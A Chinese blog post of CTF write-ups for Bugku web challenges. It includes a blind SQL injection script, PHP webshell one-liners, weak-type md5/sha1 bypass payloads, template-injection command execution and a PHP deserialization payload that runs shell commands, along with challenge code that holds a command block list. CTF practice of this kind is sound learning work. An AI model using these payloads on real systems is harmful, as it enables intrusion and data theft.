date
Aug 5, 2021 12:17 PM
Related to 日程数据 1 (blog)
tags
slug
summary
icon
category
password
社工-初步收集

找到用户名密码

获取到主人信息

进入猜密码环节
先找找网站的管理地址

输入收集的密码
再翻翻网页

这里附上 2 条字典 Linux 下整理字典命令:
type *.txt > /root/1.txt //合并当前目录下的所有 txt 文件内容到 1.txtcat 1.txt|sort|uniq > 2.txt //去掉 1.txt 的重复内容并写入到 2.txt


爆出密码是hack
登录拿flag
flag in the variable

头等舱

source

wget -r http://ip_address/.git

d256328 (HEAD -> master) HEAD@{0}: reset: moving to d25632 13ce8d0 HEAD@{1}: commit: flag is here? fdce35e HEAD@{2}: reset: moving to fdce35e e0b8e8e HEAD@{3}: reset: moving to e0b8e 40c6d51 HEAD@{4}: commit: flag is here? fdce35e HEAD@{5}: commit: flag is here? d256328 (HEAD -> master) HEAD@{6}: commit: flag is here? e0b8e8e HEAD@{7}: commit (initial): this is index.html (END)

总有一个有的
矛盾

BP
随便弄个密码准备爆破

没字典爆毛啊
zxc123
game 1



文件包含


base64decode
源码注释有flag
好像需要密码
flag{d8c1a4e06863f85f5d007b8545c1d8f0}

备份是个好习惯

<?php /** * Created by PhpStorm. * User: Norse * Date: 2017/8/6 * Time: 20:22 */ include_once "flag.php"; ini_set("display_errors", 0); $str = strstr($_SERVER['REQUEST_URI'], '?'); $str = substr($str,1); $str = str_replace('key','',$str); parse_str($str); echo md5($key1); echo md5($key2); if(md5($key1) == md5($key2) && $key1 !== $key2){ echo $flag."取得flag"; } ?>
构建
?kekeyy1[]=1&kekeyy2[]=a
md5()函数无法处理数组,如果传入的为数组,会返回NULL
php弱类型绕过构造提交的值md5(),开头为0e
?kkeyey1=s878926199a&kkeyey2=s155964671a

cookies




line= 1-10 爆一下




# -*- encoding: utf-8 -*- ''' @File : cookies.py @Time : 2021/07/12 22:26:00 @Author : guozi @Version : 1.0 @WebSite : github.com/lewoking ''' # here put the import lib import requests s = requests.Session() url="http://114.67.246.176:10888/index.php" for i in range(1,25): pyload={'line':str(i),'filename':'aW5kZXgucGhw'} a =s.get(url,params=pyload).content content=str(a,encoding="utf-8") print(content)
成绩查询
sqlmap 直接梭
这里选择手工,因为是post开个hackbar提高效率

1
显示
1‘显示

加注释显示

添加
1'order by 1#
直到
id=1'order by 5#

只有4列 columns

调成不存在的查询

回显位置2,3,4
尝试爆库




大小写好像不敏感耶 碰巧?
要使用group_concat 拼接一下结果,必须使用()


可以固定格式
(select group_concat(TAblE_NAME) from information_schema.TABLES where TABLE_schema=database())
下一个

前女友
打开链接,找不到就去看源码

V1,V2,V3必须 ;
V1与V2不一样但md5值一样;
且V3不为$flag
strcmp函数是string compare(字符串比较)的缩写,用于比较两个字符串并根据比较结果返回整数。基本形式为strcmp(str1,str2),若str1=str2,则返回零;若str1<str2,则返回负数;若str1>str2,则返回正数。
和md5一个毛病,strcmp()也无法比较数组,则报错并返回0,0==0成立,

测试了下strcmp的含义

秋名山车神
import requests #引入request库 import re #引入re库 url = "http://114.67.246.176:15745/" s = requests.session() #用session会话保持表达式 retuen = s.get(url) equation = re.search(r'(\d+[+\-*])+(\d+)',retuen.text).group() result = eval(equation) #eval()函数用来执行一个字符串表达式,并返回表达式的值。 key = {'value':result}#创建一个字典类型用于传参 flag = s.post(url,data=key)#用post方法传上去 print(flag.text)
re.search()表示从文本的第一个字符匹配到最后一个,其第一个参数为正则表达式,第二个参数是要匹配的文本
r''表示内容为原生字符串,防止被转义
(\d+[+\-])+(\d+):\d+ 表示匹配一个或多个数字;[+-] 表示匹配一个加号或一个减号或一个乘号(注:减号在中括号内是特殊字符,要用反斜杠转义);所以 (\d+[+-*])+ 表示匹配多个数字和运算符组成的“表达式”;最后再加上一组数字 (\d+) 即可
group()返回字符串
速度要快


flag随刷新变

还是个数字
import requests #引入request库 import base64 import re url = "http://114.67.246.176:13024/" s = requests.session() #用session会话保持表达式 retuen = s.get(url) flag1= retuen.headers['flag'] flag= base64.b64decode(base64.b64decode(flag1)) print (flag) flag=str(flag) result = re.search(r'[1-9]+',flag).group() print (str(flag),result) key = {'margin':result}#创建一个字典类型用于传参 flag = s.post(url,data=key)#用post方法传上去 print(flag.text)
字符?正则?
<?php highlight_file('2.php'); $key='flag{********************************}'; $IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match); if( $IM ){ die('key is: '.$key); } ?>
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
. - 匹配任意一个字符。 [] - 字符集匹配,匹配方括号中定义的字符集之一。 [^] - 字符集否定匹配,匹配没有在方括号中定义的字符。 ^ - 匹配开始位置。 $ - 匹配结束位置。 \(\) - 定义子表达式。 \n - 子表达式向前引用,n 为 1-9 之间的数字。 由于此功能已超出正则语义,需 要在字符串中回溯,因此需要使用 NFA 算法进行匹配。 * - 任意次匹配(零次或多次匹配)。 \{m,n\} - 至少 m 次,至多 n 次匹配;\{m\} 表示 m 次精确匹配;\{m,\} 表示至少 m 次匹配。 ERE 修改了 BRE 中的部分语法,并增加了以下语法符号: ? - 最多一次匹配(零次或一次匹配)。 + - 至少一次匹配(一次或更多次匹配)。 | - 或运算,其左右操作数均可以为一个子表达式。
以及
[:alnum:] 字母和数字 [:alpha:] \a 字母 [:lower:] \l 小写字母 [:upper:] \u 大写字母 [:blank:] 空白字符(空格和制表符) [:space:] \s 所有空格符(比[:blank:]包含的范围广) [:cntrl:] 不可打印的控制字符(退格、删除、警铃...) [:digit:] \d 十进制数字 [:xdigit:] \x 十六进制数字 [:graph:] 可打印的非空白字符 [:print:] \p 可打印字符 [:punct:] 标点符号

验证一下

\/.\/
中的.必须有任意字符 看漏了后面没* 不能为0位login1


用
admin
注册 或$admin
注册sql 过滤空格

你从哪里来


MD5 WEB


md5加密后0e开头的字符串 240610708 0e462097431906509019562988736854 QNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904

程序员本地访问

各种绕过哟
<?php highlight_file('flag.php'); $_GET['id'] = urldecode($_GET['id']); $flag = 'flag{xxxxxxxxxxxxxxxxxx}'; if (isset($_GET['uname']) and isset($_POST['passwd'])) { if ($_GET['uname'] == $_POST['passwd']) print 'passwd can not be uname.'; else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin')) die('Flag: '.$flag); else print 'sorry!'; } ?>

语法无误,开始绕过

还是数组绕
file_get_contents
<?php extract($_GET); if (!empty($ac)) { $f = trim(file_get_contents($fn)); if ($ac === $f) { echo "<p>This is flag:" ." $flag</p>"; } else { echo "<p>sorry!</p>"; } } ?>
extract() 方法可用于将数组展开,键名作为变量名,元素值为变量值,简单的说,就是能够直接将 $_POST 和 $_GET 中的变量解析出来,不需要我们手工赋值处理。



或者

never never never give up


把words一路解码获取源码

<!--";if(!$_GET['id']) { header('Location: hello.php?id=1'); exit(); } $id=$_GET['id']; $a=$_GET['a']; $b=$_GET['b']; if(stripos($a,'.')) { echo 'no no no no no no no'; return ; } $data = @file_get_contents($a,'r'); if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) { $flag = "flag{***********}" } else { print "never never never give up !!!"; } ?>-->
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。stripos(string,find,start)
eregi()函数在一个字符串搜索指定的模式的字符串。搜索不区分大小写。
substr() 函数返回字符串的一部分。 substr(string,start,length)
- 第 1 行:限制 URL 查询字符串中必须有非空非零变量
id
- 第 9 行:限制变量
$a
中不能含有字符.
- 第 15 行:要满足以下 5 条表达式才会爆 flag:
- 变量
$data
弱等于字符串bugku is a nice plateform!
- 变量
$id
弱等于整型数 0 - 变量
$b
的长度大于 5 - 字符串
1114
要与字符串111
连接变量$b
的第一个字符构成的正则表达式匹配 - 变量
$b
的第一个字符弱不等于整型数 4
payload
?a=&b14=%004&id=0
post bugku is a nice plateform!

变量 $id 若想满足非空非零且弱等于整型数 0,则 $id 的值只能为非空非零字符串,这里假设 $id = "asd"

文件上传

修改hearer里的t为T
修改php为php4
修改文件头的content-type为png


文件包含2



利用文件包含

木马无法执行,被解析为文本
查询可以使用程序脚本
包含木马即可
使用程序马

<script language="php">@eval($_POST['pass'])</script>
<script language=php>echo 'a'; eval($_POST['pass']);</script>

sql注入

就一登录框 爆破 ? 注入? 扫描? 题目是注入

import requests str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/=" url="http://123.206.31.85:49167/index.php" r=requests.session() def database(): result="" for i in range(30): flag = 0 for j in str_all: payload="admin'^(ascii(mid(database()from({})))<>{})^0#".format(str(i),ord(j)) data = { "username": payload, "password": "123" } s=r.post(url,data) print(payload) if "error" in s.text: result+=j print(result) if flag == 0: break def password(): result="" for i in range(40): flag=0 for j in str_all: payload = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i+1),ord(j)) data = { "username": payload, "password": "123" } s=r.post(url,data) print(payload) if "error" in s.text: result+=j flag=1 print('**************************',result) if flag==0: break #database() password()
没跑出来
聪明的PHP
随便给个参数

pass a parameter and maybe the flag file's filename is random :> <?php include('./libs/Smarty.class.php'); echo "pass a parameter and maybe the flag file's filename is random :>"; $smarty = new Smarty(); if($_GET){ highlight_file('index.php'); foreach ($_GET AS $key => $value) { print $key."\n"; if(preg_match("/flag|\/flag/i", $value)){ $smarty->display('./template.html'); }elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){ $smarty->display('./template.html'); }else{ $smarty->display("eval:".$value); } } } ?>

看来需要绕过并执行最后一个

tac 命令是 cat 命令的反转。字面上,字符串 'tac' 是 'cat' 的反向字符序列。它使行逆序显示文件内容。意味着这个命令显示文件内容,最先显示内容的最后一行,倒数第二行 ... 依此,最后显示第一行。//cat被过滤了
另一个漏网的命令
php提供4种方法执行系统外部命令:exec()、passthru()、system()、 shell_exec()。


我没有想要的 直接
find /
没有flag
找奇怪的文件


安慰奖
空网页


扫一波
<?php header("Content-Type: text/html;charset=utf-8"); error_reporting(0); echo "<!-- YmFja3Vwcw== -->"; class ctf { protected $username = 'hack'; protected $cmd = 'NULL'; public function __construct($username,$cmd) { $this->username = $username; $this->cmd = $cmd; } function __wakeup() { $this->username = 'guest'; //绕过wakeup,不然无论你给username传什么值,都会被wakeup弄成guest。 } function __destruct() { if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd)) //这里很多命令都被过滤了,但是tac没有被过滤,所以我们可以利用tac来查看 { exit('</br>flag能让你这么容易拿到吗?<br>'); } if ($this->username === 'admin') // echo "<br>right!<br>"; $a = `$this->cmd`; var_dump($a); //如果传入的username值为admin,那么后台就会执行cmd传入的命令。 { }else { echo "</br>给你个安慰奖吧,hhh!</br>"; die(); } } } $select = $_GET['code']; $res=unserialize(@$select); ?>
?code=O:3:"ctf":3{s:11:“%00*%00username”;s:5:"admin";s:6:"%00*%00cmd";s:2:"ls"}
?code=O:3:"ctf":3{s:11:“%00*%00username”;s:5:"admin";s:6:"%00*%00cmd";s:6:"tac f*"}
类大写O:类长度:"类名":属性数{字符串s:属性名长度:"属性名值";字符串s:属性值长度:"属性值"}


常见的php魔术方法: __construct() 创建对象时调用 __destruct() 销毁对象时调用 __toString() 当一个对象被当作一个字符串使用 __sleep() 在对象在被序列化之前运行 __wakeup 将在序列化之后立即被调用 访问控制修饰符: public(公有) protected(受保护) private(私有的) protected属性被序列化的时候属性值会变成:%00*%00属性名 private属性被序列化的时候属性值会变成:%00类名%00属性名
O:5:"Bugku":2{s:4:"flag";s:13:"flag{smallWhite}";s:4:"num";i:7;} O:代表对象 5:表示对象类名占5个字符 ”Bugku“:表示类名 2:表示类中有2个属性 s:字符串 4:属性名占4个字符 "flag":属性名 "flag{smallWhite}":这个是flag属性的值。
class bugku{ protected $username='admin'; private $password='admin123'; } 序列化 O:5:"bugku":2{s:12:"%00bugku%00admin";s:5:"admin";s:11:"%00*%00password";s:8:"admin123"} 这里的结果可以看出属性权限对于序列化结果的影响 绕过__wakeup()函数 当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。 O:5:"bugku":3{s:12:"%00bugku%00admin";s:5:"admin";s:11:"%00*%00password";s:8:"admin123"}
二手车交易市场
注册加登录


搞个马? 传不上去
搞个真图看看

格式不太一样
base64


应该是从%2c截断


可以
想办法执行



- 作者:lea
- 链接:https://bear4.ml/article/bugku
- 声明:本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。